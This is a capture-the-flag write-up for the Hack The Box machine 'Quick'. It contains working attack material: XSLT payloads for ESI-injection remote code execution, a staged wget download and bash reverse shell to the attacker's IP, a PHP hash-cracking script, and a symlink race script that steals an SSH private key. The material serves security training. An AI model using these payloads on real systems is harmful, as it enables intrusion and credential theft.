Quick Image

Quick is a hard Linux box by MrR3boot.

Overview

The box starts with web-enumeration, which gives a hint that a portal is running on HTTPS. After a bit of research, the protocol Quic is found, which is a protocol that works with UDP and is used in HTTP3 (HTTP over Quic). We run a docker container, which has curl with http3-support installed. This client can be used to browse the portal and download a pdf, which contains a password. Using the information from the webpage we can get a valid email address and login to the website. Finding Esigate in the HTTP-response of the server, we research a bit and find a way to get RCE with ESI-injection. We exploit the ESI-injection, get a shell as the initial user and can read user.txt.

We then have to escalate our privileges to srvadm. For this we find a VHost, which runs a printer service. After some code analysis, we find a race-condition we can exploit to get arbitrary file-read as srvadm. This gives us the SSH-key of srvadm and we can login via SSH.

To get root, we have to dig in the home folder of srvadm. We find the password of root in the .cache directory. With this password we can login as root and read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -p- 10.10.10.186
Nmap scan report for 10.10.10.186
Host is up (0.047s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
9001/tcp open  tor-orport

After finding the two open ports, the services running are enumerated.

root@darkness:~# nmap -p 22,9001 -sC -sV 10.10.10.186
Nmap scan report for 10.10.10.186
Host is up (0.049s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

The only two open ports shown are 22 and 9001. SSH usually is not that interesting, so let’s begin with 9001, which seems to be running apache.

HTTP - Port 9001

Going to http://10.10.10.186:9001 this page is shown:

Main webpage

Checking out the portal link, it redirects to https://portal.quick.htb/, however Port 443 was not shown in the nmap scan. The hostname quick.htb and portal.quick.htb can be added to the /etc/hosts file.

The update gives an interesting hint:

You might experience some connectivity issues during portal access which we are aware of and working on designing client application to provide better experience for our users. Till then you can avail our services from Mobile App

Research

After googling a bit, I finally found something interesting. With the search-term: Quick https I found QUIC. It seems to run on UDP, so let us check if port 443 is open on UDP.

root@darkness:~# nmap -sU -p 443 -oN nmap/port-443 10.10.10.186
Nmap scan report for portal.quick.htb (10.10.10.186)
Host is up (0.046s latency).

PORT    STATE         SERVICE
443/udp open|filtered https

After a bit more of research I found HTTP/3 ( “Hypertext Transfer Protocol (HTTP) over QUIC”). This blog post promotes a nice docker image (ymuski/curl-http3) to use.

Accessing the Portal via HTTP3

Using the docker image the portal can be simply browsed using curl.

root@darkness:~# service docker start
root@darkness:~# docker run -it 'ymuski/curl-http3' bash
Unable to find image 'ymuski/curl-http3:latest' locally
latest: Pulling from ymuski/curl-http3
5c939e3a4d10: Pull complete
c63719cdbe7a: Pull complete
19a861ea6baf: Pull complete
651c9d2d6c4f: Pull complete
107669cfaaba: Pull complete
28435f9b4b04: Pull complete
58e3633f38fb: Pull complete
129cc6fa0af8: Pull complete
50ad7f1b8f8c: Pull complete
f62782355451: Pull complete
Digest: sha256:c14f6ce6c026327a0654f5e4f9fb52608a7f339158724e4b3575f4b1a1f1a026
Status: Downloaded newer image for ymuski/curl-http3:latest
root@51c3b5dd3d4a:/opt#

Using the –http3 flag, curl can be used to access the portal:

root@639ce03425d6:/opt# curl --http3 https://10.10.10.186
<html>
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<head>
<style>
ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  width: 200px;
  background-color: #f1f1f1;
}

li a {
  display: block;
  color: #000;
  padding: 8px 16px;
  text-decoration: none;
}

/* Change the link color on hover */
li a:hover {
  background-color: #555;
  color: white;
}
</style>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>
</ul>
</html>

Docs seems to be the most interesting, so I’ll check this one out first.

Listing the documents:

root@639ce03425d6:/opt# curl --http3 https://10.10.10.186/index.php?view=docs
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">

<h1>Quick | References</h1>
<ul>
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
</head>
</html>

Seems like there are 2 PDFs, let’s download them.

root@639ce03425d6:/opt# curl --http3 https://10.10.10.186/docs/QuickStart.pdf --output QuickStart.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  228k  100  228k    0     0   664k      0 --:--:-- --:--:-- --:--:--  666k

root@639ce03425d6:/opt# curl --http3 https://10.10.10.186/docs/Connectivity.pdf --output Connectivity.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 83830  100 83830    0     0   327k      0 --:--:-- --:--:-- --:--:--  327k

Now let’s copy them from the container to the host.

root@darkness:~# docker ps
CONTAINER ID	IMAGE		     COMMAND	CREATED			NAMES
639ce03425d6   ymuski/curl-http3  "bash"   	4 minutes ago		gifted_hopper

root@darkness:~# docker cp gifted_hopper:/opt/Connectivity.pdf .
root@darkness:~# docker cp gifted_hopper:/opt/QuickStart.pdf .

Connectivity.pdf

Checking out the Connectivity.pdf file, the password mentioned seems promising.

Getting emails and login

Remembering back the website had some names and companies mentioned.

Username leak

The main page already leaks usernames. To get full email addresses, we need some more information first.

Companies

Checking out http://10.10.10.186:9001/clients.php. It leaks company name and country.

With this information a simple wordlist can be created:

root@darkness:~# cat mails.txt
tim@qconsulting.co.uk
roy@darkwing.us
elisa@wink.co.uk
james@lazycoop.cn

Using wfuzz, all emails with the found password can be checked.

root@darkness:~# wfuzz -X POST -u quick.htb:9001/login.php -d 'email=FUZZ&password=Quick4cc3$$' -w mails.txt
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://quick.htb:9001/login.php
Total requests: 4

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000004:   200        0 L      2 W      80 Ch       "james@lazycoop.cn"
000000001:   200        0 L      2 W      80 Ch       "tim@qconsulting.co.uk"
000000002:   200        0 L      2 W      80 Ch       "roy@darkwing.us"
000000003:   302        0 L      0 W      0 Ch        "elisa@wink.co.uk"
Total time: 0.175652
Processed Requests: 4
Filtered Requests: 0
Requests/sec.: 22.77220

We get a 302 redirect for elisa@wink.co.uk, which probably means that our login was successful there.

Login

Logging in with elisa@wink.co.uk:Quick4cc3$$, we indeed succeed and get redirected to /home.php.

Ticketing System

After logging in the ticketing system can be accessed.

Enumerating ticketing system

A thing that I have already noticed previously is the X-Powered-By header on the server-responses.

GET /home.php HTTP/1.1
Host: quick.htb:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=7hecqrue2t71pqnsthqtak7f48
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Via: 1.1 localhost (Apache-HttpClient/4.5.2 (cache))
X-Powered-By: Esigate
Content-Length: 9361
Connection: close

Let us further enumerate Esigate.

Initial Shell - ESI Injection

After a bit of research, I can across this blog post which explains a technique called ESI-Injection. With this RCE through XSLT is possible. For this an esi include tag is injected inside a page that is cached. The injected value is found and is reflected in the HTTP response. The stylesheet value shows to a malicious XSLT resource hosted on my server. The Esigate automatically processes the XSLT and therefore allows RCE.

Hosting the payload on the apache2 webserver:

root@darkness:/var/www/html# service apache2 start
root@darkness:/var/www/html# cat ping.xsl
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[ping -c 4 10.10.14.12]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Ping POC exploit

Creating a ticket with the ping POC exploit.

Ticket Number

After creating a ticket we get a ticket number, we can use to search our ticket.

Ping exploit triggered

Upon searching the ticket the ESI-Injection should be triggered.

root@darkness:~# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
21:27:09.712850 IP portal.quick.htb > darkness: ICMP echo request, id 2821, seq 1, length 64
21:27:09.712886 IP darkness > portal.quick.htb: ICMP echo reply, id 2821, seq 1, length 64
21:27:10.718514 IP portal.quick.htb > darkness: ICMP echo request, id 2821, seq 2, length 64
21:27:10.718545 IP darkness > portal.quick.htb: ICMP echo reply, id 2821, seq 2, length 64
21:27:11.717658 IP portal.quick.htb > darkness: ICMP echo request, id 2821, seq 3, length 64
21:27:11.717674 IP darkness > portal.quick.htb: ICMP echo reply, id 2821, seq 3, length 64
21:27:12.717071 IP portal.quick.htb > darkness: ICMP echo request, id 2821, seq 4, length 64
21:27:12.717088 IP darkness > portal.quick.htb: ICMP echo reply, id 2821, seq 4, length 64

Successfully verifying code-execution by getting a ping-back response.

Getting shell

Let us prepare the exploit to get us a reverse-shell. First, a bash-reverse-shell is prepared:

root@darkness:/var/www/html# cat ex.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'

Next, we create the first stage, which will download the reverse-shell from our server.

root@darkness:/var/www/html# cat stage1.xsl
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget 10.10.14.12/ex.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Next, we create the second stage, which will execute the downloaded reverse-shell.

root@darkness:/var/www/html# cat stage2.xsl
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[bash ex.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Now we have to trigger each stages in order to get a shell.

Stage 1 payload

Stage 1 trigger

Triggered stage 1 of the exploit, the reverse-shell was downloaded.

Stage 2 payload

Stage 2 trigger

Triggered stage 2 of the exploit, we should get a reverse-shell now.

root@darkness:~# nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:55764.
bash: cannot set terminal process group (1146): Inappropriate ioctl for device
bash: no job control in this shell
sam@quick:~$

Get get the reverse-shell as the user sam and can now read user.txt.

sam@quick:~$ cat user.txt
2e539***************************

Upgrading the shell

Let us upgrade our shell by adding our ssh-key to the authorized_keys file.

root@darkness:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): sam.key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in sam.key.
Your public key has been saved in sam.key.pub.
The key fingerprint is:
SHA256:AOM4pQdM0k1jdl7zwjlP58rAXEy5sCMkUl8PGgZrPVc root@darkness
The key's randomart image is:
+---[RSA 3072]----+
|.+o+@.+ = E.     |
| .+Oo@.*.X.      |
|  +.=oB *o*..    |
|   +  .*o*.o     |
|       .S.. .    |
|         o .     |
|          o      |
|                 |
|                 |
+----[SHA256]-----+
sam@quick:~$ echo "ssh-rsa AAAA[...]dy8=" > .ssh/authorized_keys
root@darkness:~# ssh sam@quick.htb -i sam.key
The authenticity of host 'quick.htb (10.10.10.186)' cant be established.
ECDSA key fingerprint is SHA256:kEX5biAHQdV0la1P6VUH52+0TprzbPr+r0UfSni9aRk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'quick.htb,10.10.10.186' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

sam@quick:~$

Privesc to sysadm

Enumerating the system, we find that there is another user called sysadm. It seems very likely that we need to escalate our privileges to this user, so let us enumerate the system to find a privesc vector to sysadm.

Enumeration as sam

Let us check out the web-directory of the server next.

sam@quick:~$ ls -l /var/www/
total 12
drwxr-xr-x 2 root root 4096 Mar 20 03:48 html
drwxrwxrwx 2 root root 4096 Mar 21 03:11 jobs
drwxr-xr-x 6 root root 4096 Mar 21 03:08 printer

As there are multiple directories listed in /var/www/, which means there are multiple VHosts installed. Let us check out the apache config to see how we can access the other VHosts.

sam@quick:~$ cat /etc/apache2/sites-available/000-default.conf 
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
</VirtualHost>
<VirtualHost *:80>
        AssignUserId srvadm srvadm
        ServerName printerv2.quick.htb
        DocumentRoot /var/www/printer
</VirtualHost>

Checking the VHosts configuration, we can find a new VHost (printerv2.quick.htb).

PrinterV2 VHost

Checking the VHost, a login is required. Let us check the source code and see if we can find a way to bypass the login.

sam@quick:/var/www/printer$ cat index.php
[...]
<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
        $email=$_POST["email"];
        $password = $_POST["password"];
        $password = md5(crypt($password,'fa'));
[...]

The source code shows that the password encrypted by first hashing it using DES (default algorithm for crypt) with fa as the salt and then hashing the DES-hash using the MD5 algorithm.

sam@quick:/var/www/printer$ cat db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

The mysql credentials can be found in /var/www/printer/db.php.

Login bypass

Let us check out the database next.

sam@quick:~$ mysql --user=db_adm quick -p
Enter password: db_p4ss
mysql> show tables;
+-----------------+
| Tables_in_quick |
+-----------------+
| jobs            |
| tickets         |
| users           |
+-----------------+
3 rows in set (0.00 sec)

The users table is the most interesting for us.

mysql> select * from users;
+--------------+------------------+----------------------------------+
| name         | email            | password                         |
+--------------+------------------+----------------------------------+
| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
+--------------+------------------+----------------------------------+
2 rows in set (0.00 sec)

We are able to read and write to the users table. This results into two possible ways to login to the website.

Way 1: Cracking the password hash

We can simply write a php bruteforce script, that uses rockyou.txt to crack the hash.

<?php
$handle = fopen("/usr/share/wordlists/rockyou.txt", "r");
$target = "e626d51f8fbfd1124fdea88396c35d05"; # Hash of srvadm

if ($handle)
{
    while (($line = fgets($handle)) !== false) {
        $line = str_replace("\n","",$line); # Remove newline from pw
        $hash = md5(crypt($line,'fa')); # Hash password from wl according to source

        if ($hash == $target) { # Check if we found the correct hash
            print_r("Found password: " . $line . "\n");
            break;
        }
    }

    fclose($handle);
}
else
{
    print_r("Could not open rockyou.txt!");
}
?>

Creating a simple password bruteforcer, which reads every line from rockyou.txt, removes newlines and hashes it according to the source code of the printer webpage. Let us now run the crack script to get the password.

root@darkness:~# php crack.php
Found password: yl51pbx

Running the cracking script, the password should be found within seconds.

Now it’s possible to login with the cracked password.

PrinterV2 Login

Way 2: Changing the hash in the DB

The other way to login successfully, is by changing the password of the user. As we know both hashing algorithms and the salt, we can simply create our own hash.

root@darkness:~# php -a
Interactive mode enabled

php > echo md5(crypt("chronos","fa"));
133d3f866a5a51b7b27fedb38af7bf1e
mysql> update users set password='133d3f866a5a51b7b27fedb38af7bf1e' where email='srvadm@quick.htb';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users;
+--------------+------------------+----------------------------------+
| name         | email            | password                         |
+--------------+------------------+----------------------------------+
| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | 133d3f866a5a51b7b27fedb38af7bf1e |
+--------------+------------------+----------------------------------+
2 rows in set (0.00 sec)

Now it is possible to login with the chosen password (In this case chronos).

PrinterV2 Login

PrinterV2 - Webpage Enumeration

Now that we are able to login, let us enumerate the website.

PrinterV2 main page

Upon logging in, this webpage is shown.

Add printer

Checking out the functionalities, we can add a new printer.

Listing printers

Upon adding a new printer we get redirected to this webpage, which shows all the printers. Upon clicking on the printer symbol, we can a connection back to the netcat-listener I setup earlier.

root@darkness:~# nc -lvnp 9100
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9100
Ncat: Listening on 0.0.0.0:9100
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:50338.

Furthermore, the website tells us that the printer is up. So the connection we got earlier, is purely for checking if the printer is up.

Listing printers

Clicking on the add job link, a new page is shown, which allows to add print jobs.

Creating print jobs

Let us test the system by adding a print job, which should print “Test”.

root@darkness:~# nc -lvnp 9100
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9100
Ncat: Listening on 0.0.0.0:9100
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:50406.
TestVA

Listening for connections, we receive the contents of the printjob.

PrinterV2 - Code analysis

Now that we did some dynamic analysis of the webpage, let us analyze the code of the webpage.

sam@quick:/var/www/printer$ cat job.php
[...]
if(isset($_POST["submit"]))                                                                                   
        {                                                                                                             
                $title=$_POST["title"];                                                                               
                $file = date("Y-m-d_H:i:s");                                                                          
                file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
                chmod("/var/www/printer/jobs/".$file,"0777");                                                         
                $stmt=$conn->prepare("select ip,port from jobs");
                $stmt->execute();
                $result=$stmt->get_result();                                                                          
                if($result->num_rows > 0)                                                                             
                {
                        $row=$result->fetch_assoc();                                                                  
                        $ip=$row["ip"];                                                                               
                        $port=$row["port"];
                        try                                                                                           
                        {                                                                                             
                                $connector = new NetworkPrintConnector($ip,$port);                                    
                                sleep(0.5); //Buffer for socket check                                                 
                                $printer = new Printer($connector);                                                   
                                $printer->text(file_get_contents("/var/www/jobs/".$file));
                                $printer->cut();
                                $printer->close();                                                                  
                                $message="Job assigned";                                                              
                                unlink("/var/www/jobs/".$file);
                        }
                        catch(Exception $error)
                        {
                                $error="Can't connect to printer.";                                                   
                                unlink("/var/www/jobs/".$file);                                                       
                        }                                                                                             
[...]

Looking through the code this looks like a race-condition to arbitrary file-read.

$file = date("Y-m-d_H:i:s");
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]); // Write to file with timestamp
chmod("/var/www/printer/jobs/".$file,"0777"); // Modifiable by every user
[...]
sleep(0.5); // Sleep that makes race-condition possible/easier
$printer->text(file_get_contents("/var/www/jobs/".$file)); // Send content of file to printer

The contents of the request are written to a file with the current timestamp. Now this file is modifiable by every user. The sleep of 0.5 seconds gives enough time to delete the file and create a symlink to the file that should be read instead.

Exploiting the race condition

A simple bash-script should do the trick:

#!/bin/bash
cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -f $file; # Delete file
                ln -s /home/srvadm/.ssh/id_rsa $file; # Symlink file that we want to read
        done
done

Assuming that srvadm has an SSH-Key, using this we should get the key send to the printer (our nc listener).

sam@quick:/dev/shm$ bash race.sh

Let us run the exploit in the background. After that we create a printjob for our printer.

sam@quick:/var/www/jobs$ ls -alh
total 8.0K
drwxrwxrwx 2 root root 4.0K Apr 26 21:43 .
drwxr-xr-x 5 root root 4.0K Mar 21 03:07 ..
lrwxrwxrwx 1 sam  sam    24 Apr 26 21:41 2020-04-26_21:40:46 -> /home/srvadm/.ssh/id_rsa

Upon creating the printjob, a file with the contents of the printjob is created. The bash script detects the file and exchanges it with a symlink to the SSH-key file.

Ncat: Connection from 10.10.10.186:50818.
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P
AP1UWD26CAaDy4J7B2f5M/o5XEYIZeR+KKSh+mD//FOy+O3sqIX37anFqqvhJQ6D
[...]
+DvKZu+NeroPtaI7NZv6muiaK7ZZgGcp4zEHRwxM+xQvxJpd3YzaKWZbCIPDDT/u
NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA=
-----END RSA PRIVATE KEY-----

After the 0.5 second sleep, the file is read again and its contents are send to our printer (the nc listener). We can now use this SSH-key file to login as srvadm via SSH.

Privesc to root

Now that we have a shell as srvadm, let us enumerate the system to find a way to escalate our privileges to root.

Enumeration as srvadm

Let us login using the SSH-key file and enumerate the system.

root@darkness:~# ssh srvadm@quick.htb -i srvadm.key
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
srvadm@quick:~$

Looking around, we can find a conf.d directory in the .cache folder of srvadm.

srvadm@quick:~/.cache/conf.d$ cat printers.conf
[...]
MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
State Idle
[...]

Looking at the printers.conf file, we can find an interesting line that seem to contain a possible password. URL-Decoding the contents of the file, we get following string: DeviceURI https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer. Looks like we indeed have a password. Let us try it for the root user.

Getting root shell

Let us try the password for root and see if we are able to get a shell.

srvadm@quick:~$ su
Password: &ftQ4K3SGde8?
root@quick:/home/srvadm# id
uid=0(root) gid=0(root) groups=0(root)

This password works with the user root and we can read root.txt:

root@quick:~# cat root.txt
475d4***************************

Personal note

I was able to get 23rd user own and 9th root own. I had a lot of fun working on this box with my teammate h4ckd0tm3 and I am very pleased that I made it into the top 25 once again.

HTB owns